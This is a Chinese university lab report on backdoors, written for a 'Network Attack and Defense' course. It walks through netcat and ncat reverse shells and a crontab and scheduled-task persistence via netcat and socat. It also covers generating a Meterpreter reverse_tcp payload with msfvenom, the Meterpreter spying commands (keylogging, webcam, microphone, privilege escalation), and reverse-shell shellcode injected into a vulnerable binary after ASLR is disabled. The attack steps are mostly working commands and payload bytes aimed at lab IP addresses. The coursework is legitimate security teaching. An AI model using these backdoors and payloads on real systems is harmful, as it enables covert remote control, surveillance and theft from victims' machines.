- 基础知识
- 实验内容
- 实验步骤
- 遇到的问题及解决方法
- 实验感想
1、例举你能想到的一个后门进入到你系统中的可能方式?
2、例举你知道的后门如何启动起来(win及linux)的方式?
3、Meterpreter有哪些给你映像深刻的功能?
4、如何发现自己有系统有没有被安装后门?
1、在win7中打开cmd,使用ipconfig命令查看IP地址为:192.168.216.1

2、ncat.exe -l -p 5325监听本机的5325端口

3、在kali下,输入nc 192.168.216.1 -e /bin/sh(使用nc指令的-e选项反向连接Windows主机的5325端口)

4、可以看到win下成功获得kali的shell

1、在Kali环境下用查看IP

2、Linux中使用nc指令,nc -l -p 5325,监听5325端口

3、Windows反弹连接Linux使用ncat.exe -e cmd.exe 192.168.216.132 5325

4、kali:可以输入Windows命令ipconfig

1、在Windows系统下,ncat.exe -l -p 5325,监听5325端口
2、Linux中用crontab -e指令编辑一条定时任务,在最后一行加入20 * * * * /bin/netcat XXXXXXX 5325 -e /bin/sh,意思是在每个小时的第20分钟反向连接Windows主机的5325端口,就会启动cron

1、在Windows系统下,打开计算机管理->任务计划程序,创建任务,填写任务名称后,新建一个触发器

2、下载socat.rar,并在程序或脚本中选择socat.exe

3、任务创建后,右键它使任务运行。

4、在Kali环境下输入指令socat - tcp:192.168.216.1:5325,这里的第一个参数代表标准的输入输出,第二个流连接到Windows主机的5325端口

1、在kali中输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.132 LPORT=5325 -f exe > 20175325.exe生成后门程序(LHOST=kali linux的IP)

2、输入如下命令,
ncat.exe -l > 20175325.exenc 192.168.216.1 5325 < dkx_20175325.exe(这里的地址是Win7的地址)3、在Kali上使用msfconsole指令进入msf控制台,输入以下代码
use exploit/multi/handler //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.216.132 //这里用的是kali的IP
set LPORT 5325
show options //查看设置
设置完成后,设置完成后,利用exploit,执行监听,在windows中运行20175325.exe

4、此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell。

音频:linux使用record_mic可以截取一段音频

摄像头:linux使用webcam_snap可以获取摄像头内容

键盘:linux使用keyscan_start可以记录下击键的过程,使用keyscan_dump可以读取击键记录

截屏:linux使用screenshot可以进行截屏

用户:linux使用getuid可以查看当前用户,使用getsystem可以进行提权操作

1、下载反弹连接的shellcode并提取其中的机器码
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
2、输入如下代码:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行,显示X pwn1则表示可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭,如显示0则已关闭,2未关闭

3、使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
perl -e 'print "A"x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

4、打开另一个终端中msfconsole,并打开监听,在原终端运行pwn1(cat input_2;cat) | ./pwn1,另一边就可以得到shell了。

ipconfig来查看虚拟机IP地址
whereis ipconfig、echo $PATH、/sbin/ipconfig 就可以解决了
此次的实验学习了很多知识,让我初步了解了如何去搭建一个后门并进行相关的操作,自己动手做实验也加深了对知识的理解。
2019-2020-2 20175325石淦铭《网络对抗技术》Exp2 后门原理与实践
原文:https://www.cnblogs.com/sgm5/p/12534551.html